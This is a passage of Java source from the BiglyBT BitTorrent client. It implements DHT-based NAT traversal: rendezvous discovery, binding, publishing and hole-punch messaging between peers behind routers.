/*
 * Created on 11-Aug-2005
 * Created by Paul Gardner
 * Copyright (C) Azureus Software, Inc, All Rights Reserved.
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; either version 2
 * of the License, or (at your option) any later version.
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 *
 */

package com.biglybt.core.dht.nat.impl;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.lang.reflect.Method;
import java.math.BigInteger;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.security.KeyFactory;
import java.security.Signature;
import java.security.spec.RSAPublicKeySpec;
import java.util.*;

import com.biglybt.core.dht.DHT;
import com.biglybt.core.dht.DHTLogger;
import com.biglybt.core.dht.DHTOperationAdapter;
import com.biglybt.core.dht.DHTOperationListener;
import com.biglybt.core.dht.nat.DHTNATPuncher;
import com.biglybt.core.dht.nat.DHTNATPuncherAdapter;
import com.biglybt.core.dht.nat.DHTNATPuncherListener;
import com.biglybt.core.dht.transport.*;
import com.biglybt.core.dht.transport.udp.DHTTransportUDP;
import com.biglybt.core.dht.transport.udp.DHTTransportUDPContact;
import com.biglybt.core.util.*;
import com.biglybt.pif.PluginInterface;
import com.biglybt.pif.utils.*;

public class
DHTNATPuncherImpl
	implements DHTNATPuncher
{
	private static final boolean		TESTING	= false;
	private static final boolean		TRACE	= false;

	static{
		if ( TESTING ){
			System.out.println( "**** DHTNATPuncher test on ****" );
		}
		if ( TRACE ){
			System.out.println( "**** DHTNATPuncher trace on ****" );
		}
	}

	private static final int	RT_BIND_REQUEST			= 0;
	private static final int	RT_BIND_REPLY			= 1;
	private static final int	RT_PUNCH_REQUEST		= 2;
	private static final int	RT_PUNCH_REPLY			= 3;
	private static final int	RT_CONNECT_REQUEST		= 4;
	private static final int	RT_CONNECT_REPLY		= 5;
	private static final int	RT_TUNNEL_INBOUND		= 6;
	private static final int	RT_TUNNEL_OUTBOUND		= 7;
	private static final int	RT_QUERY_REQUEST		= 8;
	private static final int	RT_QUERY_REPLY			= 9;
	private static final int	RT_CLOSE_REQUEST		= 10;
	private static final int	RT_CLOSE_REPLY			= 11;


	private static final int	RESP_OK			= 0;
	private static final int	RESP_NOT_OK		= 1;
	private static final int	RESP_FAILED		= 2;

	private static final byte[]		transfer_handler_key = new SHA1Simple().calculateHash("Aelitis:NATPuncher:TransferHandlerKey".getBytes());

	private boolean				started;

	private final DHTNATPuncherAdapter	adapter;
	private final DHT						dht;
	private final DHTLogger				logger;
	private final boolean					is_secondary;

	private final PluginInterface		plugin_interface;
	private final Formatters			formatters;
	private final UTTimer				timer1;
	private final UTTimer				timer2;
	private final UTTimer				timer3;

	private static final int	REPUBLISH_TIME_MIN 			= 5*60*1000;
	private static final int	TRANSFER_TIMEOUT			= 30*1000;
	private static final int	RENDEZVOUS_LOOKUP_TIMEOUT	= 20*1000;
	private static final int	TUNNEL_TIMEOUT				= 3*1000;

	private static final int	RENDEZVOUS_SERVER_MAX			= 8;
	private static final int	RENDEZVOUS_SERVER_TIMEOUT 		= 5*60*1000;
	private static final int	RENDEZVOUS_CLIENT_PING_PERIOD	= 50*1000;		// some routers only hold tunnel for 60s
	private static final int	RENDEZVOUS_PING_FAIL_LIMIT		= 4;			// if you make this < 2 change code below!

	final Monitor						server_mon;
	final Map<String,BindingData> 	rendezvous_bindings = new HashMap<>();

	final CopyOnWriteList<DHTNATPuncherImpl>		secondaries	 = new CopyOnWriteList<>();

	private boolean	force_active;

	private long	last_publish;

	final Monitor	pub_mon;
	boolean	publish_in_progress;

	private volatile DHTTransportContact		rendezvous_local_contact;
	volatile DHTTransportContact		rendezvous_target;
	private volatile DHTTransportContact		last_ok_rendezvous;

	private final int[]	MESSAGE_STATS 		= new int[12];

	private int	punch_send_ok;
	private int	punch_send_fail;
	private int	punch_recv_ok;
	private int	punch_recv_fail;

	private static final int FAILED_RENDEZVOUS_HISTORY_MAX	= 16;

	private final Map		failed_rendezvous	=
		new LinkedHashMap(FAILED_RENDEZVOUS_HISTORY_MAX,0.75f,true)
		{
			@Override
			protected boolean
			removeEldestEntry(
		   		Map.Entry eldest)
			{
				return size() > FAILED_RENDEZVOUS_HISTORY_MAX;
			}
		};

	private boolean	rendezvous_running;

	private final Map		explicit_rendezvous_map		= new HashMap();

	private final Monitor	punch_mon;
	private final List	oustanding_punches 	= new ArrayList();


	private DHTTransportContact		current_local		= null;
	DHTTransportContact		current_target		= null;
	private int	rendevzous_fail_count = 0;
	private long rendezvous_last_ok_time;
	private long rendezvous_last_fail_time;

	volatile byte[]							last_publish_key;
	volatile List<DHTTransportContact>		last_write_set;

	private final CopyOnWriteList<DHTNATPuncherListener>		listeners = new CopyOnWriteList<>();

	boolean	suspended;

	public
	DHTNATPuncherImpl(
		DHTNATPuncherAdapter	_adapter,
		DHT						_dht )
	{
		this( _adapter, _dht, false );
	}

	private
	DHTNATPuncherImpl(
		DHTNATPuncherAdapter	_adapter,
		DHT						_dht,
		boolean					_is_secondary )
	{
		adapter			= _adapter;
		dht				= _dht;
		is_secondary	= _is_secondary;


		logger	= dht.getLogger();

		plugin_interface	= dht.getLogger().getPluginInterface();

		formatters	= plugin_interface.getUtilities().getFormatters();
		pub_mon		= plugin_interface.getUtilities().getMonitor();
		server_mon	= plugin_interface.getUtilities().getMonitor();
		punch_mon	= plugin_interface.getUtilities().getMonitor();

		timer1 = plugin_interface.getUtilities().createTimer( "DHTNATPuncher:refresher1", 2, Thread.NORM_PRIORITY );
		timer2 = plugin_interface.getUtilities().createTimer( "DHTNATPuncher:refresher2", 8, Thread.NORM_PRIORITY );
		timer3 = plugin_interface.getUtilities().createTimer( "DHTNATPuncher:refresher3", 8, Thread.NORM_PRIORITY );
	}

	@Override
	public DHTNATPuncher
	getSecondaryPuncher()
	{
		if ( is_secondary ){

			throw( new RuntimeException( "Use a primary!" ));
		}

		DHTNATPuncherImpl res = new DHTNATPuncherImpl( adapter, dht, true );

		boolean	start_it = false;

		synchronized( secondaries ){

			if ( started ){

				start_it = true;

			}

			secondaries.add( res );

			if ( suspended ){

				res.setSuspended( true );
			}
		}

		if ( start_it ){

			res.start();
		}

		return( res );
	}

	@Override
	public void
	start()
	{
		List<DHTNATPuncherImpl>	to_start = new ArrayList<>();

		synchronized( secondaries ){

			if ( started ){

				return;
			}

			started	= true;

			for ( DHTNATPuncherImpl x: secondaries ){

				if ( !x.started ){

					to_start.add( x );
				}
			}
		}

		for ( DHTNATPuncherImpl x: to_start ){

			x.start();
		}

		DHTTransport	transport = dht.getTransport();

		transport.addListener(
			new DHTTransportListener()
			{
				@Override
				public void
				localContactChanged(
					DHTTransportContact	local_contact )
				{
					publish( false );
				}

				@Override
				public void
				resetNetworkPositions()
				{
				}

				@Override
				public void
				currentAddress(
					String		address )
				{
				}

				@Override
				public void
				reachabilityChanged(
					boolean	reacheable )
				{
					publish( false );
				}
			});


		if ( !is_secondary ){

			transport.registerTransferHandler(
				transfer_handler_key,
				new DHTTransportTransferHandler()
				{
					@Override
					public String
					getName()
					{
						return( "NAT Traversal" );
					}

					@Override
					public byte[]
		        	handleRead(
		        		DHTTransportContact	originator,
		        		byte[]				key )
					{
						return( null );
					}

		        	@Override
			        public byte[]
		        	handleWrite(
		        		DHTTransportContact	originator,
		        		byte[]				key,
		        		byte[]				value )
		        	{
		        		DHTNATPuncherImpl	owner = DHTNATPuncherImpl.this;

		        		for ( DHTNATPuncherImpl x: secondaries ){

		        			DHTTransportContact ct = x.current_target;

		        			if ( ct != null && ct.getExternalAddress().equals( originator.getExternalAddress())){

		        				owner = x;
		        			}
		        		}

		        		return( owner.receiveRequest((DHTTransportUDPContact)originator, value ));
		        	}
				});

			timer1.addPeriodicEvent(
				RENDEZVOUS_SERVER_TIMEOUT/2,
				new UTTimerEventPerformer()
				{
					@Override
					public void
					perform(
						UTTimerEvent		event )
					{
						if ( suspended ){

							return;
						}

						long	now = SystemTime.getMonotonousTime();

						try{
							server_mon.enter();

							Iterator<BindingData>	it = rendezvous_bindings.values().iterator();

							while( it.hasNext()){

								BindingData	entry = it.next();

								long	time = entry.getBindTime();

								boolean	removed = false;

								if ( now - time > RENDEZVOUS_SERVER_TIMEOUT ){

										// timeout

									it.remove();

									removed = true;
								}

								if ( removed ){

									log( "Rendezvous " + entry.getContact().getString() + " removed due to inactivity" );
								}
							}
						}finally{

							server_mon.exit();
						}

						Set<InetAddress> rends = new HashSet<>();

						DHTTransportContact ct = DHTNATPuncherImpl.this.current_target;

						if ( ct != null ){

							rends.add( ct.getExternalAddress().getAddress());
						}

		        		for ( DHTNATPuncherImpl x: secondaries ){

		        			ct = x.current_target;

		        			if ( ct != null ){

		        				InetAddress ia = ct.getExternalAddress().getAddress();

		        				if ( rends.contains( ia )){

		        					log( "Duplicate secondary rendezvous: " + ct.getString() + ", re-binding" );

		        					x.rendezvousFailed(ct, true );

		        				}else{

		        					rends.add( ia );
		        				}
		        			}
		        		}
					}
				});
		}

		timer1.addPeriodicEvent(
			REPUBLISH_TIME_MIN,
			new UTTimerEventPerformer()
			{
				@Override
				public void
				perform(
					UTTimerEvent		event )
				{
					publish( false );
				}
			});


		publish( false );
	}

	@Override
	public void
	setSuspended(
		boolean	susp )
	{
		suspended = susp;

		synchronized( secondaries ){

			for ( DHTNATPuncherImpl x: secondaries ){

				x.setSuspended( susp );
			}
		}

		if ( !susp ){

			final DHTTransportContact current_contact = rendezvous_target;

			timer1.addEvent(
				SystemTime.getCurrentTime() + 20*1000,
				new UTTimerEventPerformer()
				{
					@Override
					public void
					perform(
						UTTimerEvent event)
					{
						if ( current_contact != null && current_contact == rendezvous_target ){

							rendezvousFailed( current_contact, false );

						}else{

							publish( false );
						}
					}
				});
		}
	}

	@Override
	public boolean
	active()
	{
		return( rendezvous_local_contact != null );
	}

	@Override
	public void
	forceActive(
		boolean		force )
	{
		force_active = force;

		if  ( force ){

			publish( true );
		}
	}

	@Override
	public boolean
	operational()
	{
		DHTTransportContact	ok = last_ok_rendezvous;

		if ( ok != null && ok == rendezvous_target ){

			return( true );
		}

		return( false );
	}

	@Override
	public DHTTransportContact
	getLocalContact()
	{
		return( rendezvous_local_contact );
	}

	@Override
	public DHTTransportContact
	getRendezvous()
	{
		DHTTransportContact	ok = last_ok_rendezvous;

		if ( ok != null && ok == rendezvous_target ){

			return( ok );
		}

		return( null );
	}

	protected void
	publish(
		final boolean		force )
	{
		long now = SystemTime.getMonotonousTime();

		if ( force || now - last_publish >= REPUBLISH_TIME_MIN ){

			last_publish	= now;

			plugin_interface.getUtilities().createThread(
				"DHTNATPuncher:publisher",
				new Runnable()
				{
					@Override
					public void
					run()
					{
						try{
							pub_mon.enter();

							if ( suspended ){

								return;
							}

							if ( publish_in_progress ){

								return;
							}

							publish_in_progress	= true;

						}finally{

							pub_mon.exit();
						}

						try{
							publishSupport();

						}finally{

							try{
								pub_mon.enter();

								publish_in_progress	= false;

							}finally{

								pub_mon.exit();
							}
						}
					}
				});
		}
	}

	protected void
	publishSupport()
	{
		DHTTransport	transport = dht.getTransport();

		if ( TESTING || force_active || !transport.isReachable() ){

			DHTTransportContact	local_contact = transport.getLocalContact();

				// see if the rendezvous has failed and therefore we are required to find a new one

			boolean force =
				rendezvous_target != null &&
				failed_rendezvous.containsKey( rendezvous_target.getAddress());

			if ( rendezvous_local_contact != null && !force ){

				if ( local_contact.getAddress().equals( rendezvous_local_contact.getAddress())){

						// already running for the current local contact

					return;
				}
			}

			DHTTransportContact	explicit = (DHTTransportContact)explicit_rendezvous_map.get( local_contact.getAddress());

			if ( explicit != null ){

				try{
					pub_mon.enter();

					rendezvous_local_contact	= local_contact;
					rendezvous_target			= explicit;

					runRendezvous();

				}finally{

					pub_mon.exit();
				}
			}else{

				final DHTTransportContact[] new_rendezvous_target			= { null };

				DHTTransportContact[]	reachables = dht.getTransport().getReachableContacts();

				Collections.shuffle( Arrays.asList( reachables ));

				int reachables_tried	= 0;
				int reachables_skipped	= 0;

				final Semaphore sem = plugin_interface.getUtilities().getSemaphore();

				for (int i=0;i<reachables.length;i++){

					DHTTransportContact	contact = reachables[i];

					try{
						pub_mon.enter();

							// see if we've found a good one yet

						if ( new_rendezvous_target[0] != null ){

							break;
						}

							// skip any known bad ones

						if ( failed_rendezvous.containsKey( contact.getAddress())){

							reachables_skipped++;

							sem.release();

							continue;
						}
					}finally{

						pub_mon.exit();
					}

					if ( i > 0 ){

						try{
							Thread.sleep( 1000 );

						}catch( Throwable e ){

						}
					}

					reachables_tried++;

					contact.sendPing(
						new DHTTransportReplyHandlerAdapter()
						{
							@Override
							public void
							pingReply(
								DHTTransportContact ok_contact )
							{
								trace( "Punch:" + ok_contact.getString() + " OK" );

								try{
									pub_mon.enter();

									if ( new_rendezvous_target[0] == null ){

										new_rendezvous_target[0] = ok_contact;
									}
								}finally{

									pub_mon.exit();

									sem.release();
								}
							}

							@Override
							public void
							failed(
								DHTTransportContact 	failed_contact,
								Throwable				e )
							{
								try{
									trace( "Punch:" + failed_contact.getString() + " Failed" );

								}finally{

									sem.release();
								}
							}
						});
				}

				for (int i=0;i<reachables.length;i++){

					sem.reserve();

					try{
						pub_mon.enter();

						if ( new_rendezvous_target[0] != null ){

							rendezvous_target			= new_rendezvous_target[0];
							rendezvous_local_contact	= local_contact;

							log( "Rendezvous found: " + rendezvous_local_contact.getString() + " -> " + rendezvous_target.getString());

							runRendezvous();

							break;
						}
					}finally{

						pub_mon.exit();
					}
				}

				if ( new_rendezvous_target[0] == null ){

					log( "No rendezvous found: candidates=" + reachables.length +",tried="+ reachables_tried+",skipped=" +reachables_skipped );

					try{
						pub_mon.enter();

						rendezvous_local_contact	= null;
						rendezvous_target			= null;

					}finally{

						pub_mon.exit();
					}
				}
			}
		}else{

			try{
				pub_mon.enter();

				rendezvous_local_contact	= null;
				rendezvous_target			= null;

			}finally{

				pub_mon.exit();
			}
		}
	}

	protected void
	runRendezvous()
	{
		try{
			pub_mon.enter();

			if ( !rendezvous_running ){

				rendezvous_running	= true;

				SimpleTimer.addPeriodicEvent(
					"DHTNAT:cp",
					RENDEZVOUS_CLIENT_PING_PERIOD,
					new TimerEventPerformer()
					{
						@Override
						public void
						perform(
							TimerEvent ev )
						{
							if ( !suspended ){

								AEThread2.createAndStartDaemon(
									"DHTNAT:cp",
									()->runRendezvousSupport());
							}
						}
					});
			}
		}finally{

			pub_mon.exit();
		}
	}

	protected void
	runRendezvousSupport()
	{
		try{
			DHTTransportContact		latest_local;
			DHTTransportContact		latest_target;

			try{
				pub_mon.enter();

				latest_local	= rendezvous_local_contact;
				latest_target	= rendezvous_target;
			}finally{

				pub_mon.exit();
			}

			if ( current_local != null || latest_local != null ){

					// one's not null, worthwhile further investigation

				if ( current_local != latest_local ){

						// local has changed, remove existing publish

					if ( current_local != null ){

						if ( !is_secondary ){

  							log( "Removing publish for " + current_local.getString() + " -> " + current_target.getString());

  							dht.remove(
								getPublishKey( current_local ),
								"DHTNatPuncher: removal of publish", (short)0,
								new DHTOperationListener()
								{
									@Override
									public void
									searching(
										DHTTransportContact	contact,
										int					level,
										int					active_searches )
									{}

									@Override
									public void
									found(
										DHTTransportContact	contact,
										boolean				is_closest )
									{}

									@Override
									public boolean
									diversified(
										String		desc )
									{
										return( true );
									}

									@Override
									public void
									read(
										DHTTransportContact	contact,
										DHTTransportValue	value )
									{}

									@Override
									public void
									wrote(
										DHTTransportContact	contact,
										DHTTransportValue	value )
									{}

									@Override
									public void
									complete(
										boolean				timeout )
									{}
								});
						}
					}

					if ( latest_local != null ){

						rendevzous_fail_count	= RENDEZVOUS_PING_FAIL_LIMIT - 2; // only 2 attempts to start with

						if ( !is_secondary ){

 							log( "Adding publish for " + latest_local.getString() + " -> " + latest_target.getString());

  							final byte[] publish_key = getPublishKey( latest_local );

  							dht.put(
  									publish_key,
  									"NAT Traversal: rendezvous publish",
  									encodePublishValue( latest_target ),
  									DHT.FLAG_SINGLE_VALUE,
  									new DHTOperationListener()
  									{
  										private final List<DHTTransportContact>	written_to = new ArrayList<>();

  										@Override
										  public void
  										searching(
  											DHTTransportContact	contact,
  											int					level,
  											int					active_searches )
  										{}

  										@Override
										  public void
  										found(
  											DHTTransportContact	contact,
  											boolean				is_closest )
  										{}

  										@Override
										  public boolean
  										diversified(
  											String		desc )
  										{
  											return( true );
  										}

  										@Override
										  public void
  										read(
  											DHTTransportContact	contact,
  											DHTTransportValue	value )
  										{}

  										@Override
										  public void
  										wrote(
  											DHTTransportContact	contact,
  											DHTTransportValue	value )
  										{
  											synchronized( written_to ){

  												written_to.add( contact );
  											}
  										}

  										@Override
										  public void
  										complete(
  											boolean				timeout )
  										{
  											synchronized( written_to ){
  												last_publish_key	= publish_key;
  												last_write_set		= written_to;
  											}
  										}
  									});
						}
					}
				}else if ( current_target != latest_target ){

						// here current_local == latest_local and neither is null!

						// target changed, update publish

					rendevzous_fail_count	= RENDEZVOUS_PING_FAIL_LIMIT - 2; // only 2 attempts to start with

					if ( !is_secondary ){

 						log( "Updating publish for " + latest_local.getString() + " -> " + latest_target.getString());

  						final byte[] publish_key = getPublishKey( latest_local );

  						dht.put(
							publish_key,
							"DHTNatPuncher: update publish",
							encodePublishValue( latest_target ),
							DHT.FLAG_SINGLE_VALUE,
							new DHTOperationListener()
							{
								private final List<DHTTransportContact>	written_to = new ArrayList<>();

								@Override
								public void
								searching(
									DHTTransportContact	contact,
									int					level,
									int					active_searches )
								{}

								@Override
								public void
								found(
									DHTTransportContact	contact,
									boolean				is_closest )
								{}

								@Override
								public boolean
								diversified(
									String		desc )
								{
									return( true );
								}

								@Override
								public void
								read(
									DHTTransportContact	contact,
									DHTTransportValue	value )
								{}

								@Override
								public void
								wrote(
									DHTTransportContact	contact,
									DHTTransportValue	value )
								{
									synchronized( written_to ){

										written_to.add( contact );
									}
								}

								@Override
								public void
								complete(
									boolean				timeout )
								{
									synchronized( written_to ){
										last_publish_key	= publish_key;
										last_write_set		= written_to;
									}
								}
							});
					}
				}
			}

			current_local	= latest_local;
			current_target	= latest_target;

			if ( current_target != null ){

				long	now = SystemTime.getMonotonousTime();

				int	bind_result = sendBind( current_target );

				if ( bind_result == RESP_OK ){

					trace( "Rendezvous:" + current_target.getString() + " OK" );

					rendevzous_fail_count	= 0;

					rendezvous_last_ok_time = now;

					if ( last_ok_rendezvous != current_target ){

						last_ok_rendezvous = current_target;

						log( "Rendezvous " + latest_target.getString() + " operational" );

						for ( DHTNATPuncherListener l: listeners ){

							l.rendezvousChanged( current_target );
						}
					}
				}else{

					rendezvous_last_fail_time = now;

					if ( bind_result == RESP_NOT_OK ){

							// denied access

						rendevzous_fail_count = RENDEZVOUS_PING_FAIL_LIMIT;

					}else{

						rendevzous_fail_count++;
					}

					if ( rendevzous_fail_count == RENDEZVOUS_PING_FAIL_LIMIT ){

						rendezvousFailed( current_target, false );
					}
				}
			}

		}catch( Throwable e ){

			log(e);

		}
	}



	protected void
	rendezvousFailed(
		DHTTransportContact	current_target,
		boolean				tidy )
	{
		log( "Rendezvous " + (tidy?"closed":"failed") + ": " + current_target.getString());

		try{
			pub_mon.enter();

			failed_rendezvous.put( current_target.getAddress(), "" );

		}finally{

			pub_mon.exit();
		}

		publish( true );
	}

	protected byte[]
	sendRequest(
		DHTTransportContact		target,
		byte[]					data,
		int						timeout )
	{
		try{
			return(
				dht.getTransport().writeReadTransfer(
					null,
					target,
					transfer_handler_key,
					data,
					timeout ));

		}catch( DHTTransportException e ){

			// log(e); timeout most likely

			return( null );
		}
	}


	protected byte[]
	receiveRequest(
		DHTTransportUDPContact		originator,
		byte[]						data )
	{
		try{
			Map	res = receiveRequest( originator, formatters.bDecode( data ));

			if ( res == null ){

				return( null );
			}

			return( formatters.bEncode( res ));

		}catch( Throwable e ){

			Debug.out( "Originator: " + originator.getAddress() + ": " + Debug.getNestedExceptionMessageAndStack( e ));

			return( null );
		}
	}

	protected Map
	sendRequest(
		DHTTransportContact		target,
		Map						data,
		int						timeout )
	{
		int	type = ((Long)data.get("type")).intValue();

		if ( type >= 0 && type < MESSAGE_STATS.length ){

			MESSAGE_STATS[type]++;
		}

		try{
			byte[]	res = sendRequest( target, formatters.bEncode( data ), timeout );

			if ( res == null ){

				return( null );
			}

			return( formatters.bDecode( res ));

		}catch( Throwable e ){

			log(e);

			return( null );
		}
	}

	protected Map
	receiveRequest(
		DHTTransportUDPContact	originator,
		Map						data )
	{
		int	type = ((Long)data.get("type")).intValue();

		if ( type >= 0 && type < MESSAGE_STATS.length ){

			MESSAGE_STATS[type]++;
		}

		Map	response = new HashMap();

		switch( type ){

			case RT_BIND_REQUEST:
			{
				response.put( "type", new Long( RT_BIND_REPLY ));

				receiveBind( originator, data, response );

				break;
			}
			case RT_CLOSE_REQUEST:
			{
				response.put( "type", new Long( RT_CLOSE_REPLY ));

				receiveClose( originator, data, response );

				break;
			}
			case RT_QUERY_REQUEST:
			{
				response.put( "type", new Long( RT_QUERY_REPLY ));

				receiveQuery( originator, data, response );

				break;
			}
			case RT_PUNCH_REQUEST:
			{
				response.put( "type", new Long( RT_PUNCH_REPLY ));

				receivePunch( originator, data, response );

				break;
			}
			case RT_CONNECT_REQUEST:
			{
				response.put( "type", new Long( RT_CONNECT_REPLY ));

				receiveConnect( originator, data, response );

				break;
			}
			case RT_TUNNEL_INBOUND:
			{
				receiveTunnelInbound( originator, data );

				response = null;

				break;
			}
			case RT_TUNNEL_OUTBOUND:
			{
				receiveTunnelOutbound( originator, data );

				response = null;

				break;
			}
			default:
			{
				response = null;

				break;
			}
		}

		Map	debug	= (Map)data.get( "_debug" );

		if ( debug != null ){

			Map	out = handleDebug( debug );

			if ( out != null ){

				response.put( "_debug", out );
			}
		}

		return( response );
	}

	protected boolean
	sendTunnelMessage(
		DHTTransportContact		target,
		Map						data )
	{
		try{
			return( sendTunnelMessage( target, formatters.bEncode( data )));

		}catch( Throwable e ){

			log(e);

			return( false );
		}
	}

	protected boolean
   	sendTunnelMessage(
   		DHTTransportContact		target,
   		byte[]					data )
   	{
   		try{
			dht.getTransport().writeTransfer(
				null,
				target,
				transfer_handler_key,
				new byte[0],
				data,
				TUNNEL_TIMEOUT );

			return( true );

   		}catch( DHTTransportException e ){

   			// log(e); timeout most likely

   			return( false );
   		}
   	}

	protected int
	sendBind(
		DHTTransportContact	target )
	{
		try{
			Map	request = new HashMap();

			request.put("type", new Long( RT_BIND_REQUEST ));

			Map response = sendRequest( target, request, TRANSFER_TIMEOUT );

			if ( response == null ){

				return( RESP_FAILED );
			}

			if (((Long)response.get( "type" )).intValue() == RT_BIND_REPLY ){

				int	result = ((Long)response.get("ok")).intValue();

				trace( "received bind reply: " + (result==0?"failed":"ok" ));

				if ( result == 1 ){

					return( RESP_OK );
				}
			}

			return( RESP_NOT_OK );

		}catch( Throwable e ){

			log(e);

			return( RESP_FAILED );
		}
	}

	protected void
	receiveBind(
		DHTTransportUDPContact	originator,
		Map						request,
		Map						response )
	{
		trace( "received bind request from " + originator.getString());

		boolean	ok 	= true;
		boolean	log	= true;

		if ( is_secondary ){

			ok	= false;

			log( "Rendezvous request from " + originator.getString() + " denied as secondary puncher" );

		}else{

			try{
				server_mon.enter();

				String	key =  originator.getAddress().toString();

				BindingData	entry = rendezvous_bindings.get( key );

				if ( entry == null ){

					if ( rendezvous_bindings.size() == RENDEZVOUS_SERVER_MAX ){

						ok	= false;
					}
				}else{

					if ( entry.isOKToConnect()){

							// already present, no need to log again

						log	= false;

					}else{

							// looks like it is failing, tell it to go away

						ok = false;
					}
				}

				if ( ok ){

					long	now = SystemTime.getMonotonousTime();

					if ( entry == null ){

						rendezvous_bindings.put( key, new BindingData( originator, now ));

					}else{

						entry.rebind();
					}

					response.put( "port", new Long( originator.getAddress().getPort()));
				}
			}finally{

				server_mon.exit();
			}

			if ( log ){

				log( "Rendezvous request from " + originator.getString() + " " + (ok?"accepted":"denied" ));
			}
		}

		response.put( "ok", new Long(ok?1:0));
	}

	@Override
	public void
	destroy()
	{
		try{
			server_mon.enter();

			Iterator<BindingData>	it = rendezvous_bindings.values().iterator();

			while( it.hasNext()){

				BindingData	entry = it.next();

				final DHTTransportUDPContact	contact = entry.getContact();

				new AEThread2( "DHTNATPuncher:destroy", true )
				{
					@Override
					public void
					run()
					{
						sendClose( contact );
					}
				}.start();
			}

			byte[]						lpk	= last_publish_key;
			List<DHTTransportContact>	lws = last_write_set;

			if ( lpk != null && lws != null ){

				log( "Removing publish on closedown");

				DHTTransportContact[]	contacts = lws.toArray( new DHTTransportContact[ lws.size()] );

				dht.remove(
					contacts,
					lpk,
					"NAT Puncher destroy",
					new DHTOperationAdapter());
			}

		}catch( Throwable e ){

			log( e );

		}finally{

			server_mon.exit();
		}
	}

	protected int
	sendClose(
		DHTTransportContact	target )
	{
		try{
			Map	request = new HashMap();

			request.put("type", new Long( RT_CLOSE_REQUEST ));

			Map response = sendRequest( target, request, TRANSFER_TIMEOUT );

			if ( response == null ){

				return( RESP_FAILED );
			}

			if (((Long)response.get( "type" )).intValue() == RT_CLOSE_REPLY ){

				int	result = ((Long)response.get("ok")).intValue();

				trace( "received close reply: " + (result==0?"failed":"ok" ));

				if ( result == 1 ){

					return( RESP_OK );
				}
			}

			return( RESP_NOT_OK );

		}catch( Throwable e ){

			log(e);

			return( RESP_FAILED );
		}
	}

	protected void
	receiveClose(
		DHTTransportUDPContact	originator,
		Map						request,
		Map						response )
	{
		trace( "received close request" );

		final DHTTransportContact	current_target = rendezvous_target;

		if ( current_target != null && Arrays.equals( current_target.getID(), originator.getID())){

			new AEThread2( "DHTNATPuncher:close", true )
			{
				@Override
				public void
				run()
				{
					rendezvousFailed( current_target, true );
				}
			}.start();
		}

		response.put( "ok", new Long(1));
	}



    /**
     * XXX: unused
     */
    private int
	sendQuery(
		DHTTransportContact	target )
	{
		try{
			Map	request = new HashMap();

			request.put("type", new Long( RT_QUERY_REQUEST ));

			Map response = sendRequest( target, request, TRANSFER_TIMEOUT );

			if ( response == null ){

				return( RESP_FAILED );
			}

			if (((Long)response.get( "type" )).intValue() == RT_QUERY_REPLY ){

				int	result = ((Long)response.get("ok")).intValue();

				trace( "received query reply: " + (result==0?"failed":"ok" ));

				if ( result == 1 ){

					return( RESP_OK );
				}
			}

			return( RESP_NOT_OK );

		}catch( Throwable e ){

			log(e);

			return( RESP_FAILED );
		}
	}

	protected void
	receiveQuery(
		DHTTransportUDPContact	originator,
		Map						request,
		Map						response )
	{
		trace( "received query request" );

		InetSocketAddress	address = originator.getTransportAddress();

		response.put( "ip", address.getAddress().getHostAddress().getBytes());

		response.put( "port", new Long( address.getPort()));

		response.put( "ok", new Long(1));
	}

	protected Map
	sendPunch(
		DHTTransportContact 			rendezvous,
		final DHTTransportUDPContact	target,
		Map								originator_client_data,
		boolean							no_tunnel )
	{
		AESemaphore	wait_sem 	= new AESemaphore( "DHTNatPuncher::sendPunch" );
		Object[]	wait_data 	= new Object[]{ target, wait_sem, new Integer(0)};

		try{

			try{
				punch_mon.enter();

				oustanding_punches.add( wait_data );

			}finally{

				punch_mon.exit();
			}

			Map	request = new HashMap();

			request.put("type", new Long( RT_PUNCH_REQUEST ));

			request.put("target", target.getAddress().toString().getBytes());

			if ( originator_client_data != null ){

				if ( no_tunnel ){

					originator_client_data.put( "_notunnel", new Long(1));
				}

				request.put( "client_data", originator_client_data );
			}

				// for a message payload (i.e. no_tunnel) we double the initiator timeout to give
				// more chance for reasonable size messages to get through as they have to go through
				// 2 xfer processes

			Map response = sendRequest( rendezvous, request, no_tunnel?TRANSFER_TIMEOUT*2:TRANSFER_TIMEOUT );

			if ( response == null ){

				return( null );
			}

			if (((Long)response.get( "type" )).intValue() == RT_PUNCH_REPLY ){

				int	result = ((Long)response.get("ok")).intValue();

				trace( "received " + ( no_tunnel?"message":"punch") + " reply: " + (result==0?"failed":"ok" ));

				if ( result == 1 ){

						// pick up port changes from the rendezvous

					Long	indirect_port = (Long)response.get( "port" );

					if ( indirect_port != null ){

						int transport_port	= indirect_port.intValue();

						if ( transport_port != 0 ){

							InetSocketAddress	existing_address = target.getTransportAddress();

							if ( transport_port != existing_address.getPort()){

								target.setTransportAddress(
										new InetSocketAddress(existing_address.getAddress(), transport_port ));
							}
						}
					}

					if ( !no_tunnel ){

							// ping the target a few times to try and establish a tunnel

						if ( timer2.getMaxThreads() - timer2.getActiveThreads() > 2 ){
						
							UTTimerEvent	event =
								timer2.addPeriodicEvent(
										3000,
										new UTTimerEventPerformer()
										{
											private int	pings = 1;
	
											@Override
											public void
											perform(
												UTTimerEvent		event )
											{
												if ( pings > 3 ){
	
													event.cancel();
	
													return;
												}
	
												pings++;
	
												if ( sendTunnelOutbound( target )){
	
													event.cancel();
												}
											}
										});
	
							if ( sendTunnelOutbound( target )){
	
								event.cancel();
							}
	
								// give the other end a few seconds to kick off some tunnel events to us
	
							if ( wait_sem.reserve(10000)){
	
								event.cancel();
							}
						}else{
							
								// too busy to mess about
							
							sendTunnelOutbound( target );
									
							wait_sem.reserve(10000);
						}
					}

						// routers often fiddle with the port when not mapped so we need to grab the right one to use
						// for direct communication

						// first priority goes to direct tunnel messages received

					int	transport_port = 0;

					try{
						punch_mon.enter();

						transport_port = ((Integer)wait_data[2]).intValue();

					}finally{

						punch_mon.exit();
					}

					if ( transport_port != 0 ){

						InetSocketAddress	existing_address = target.getTransportAddress();

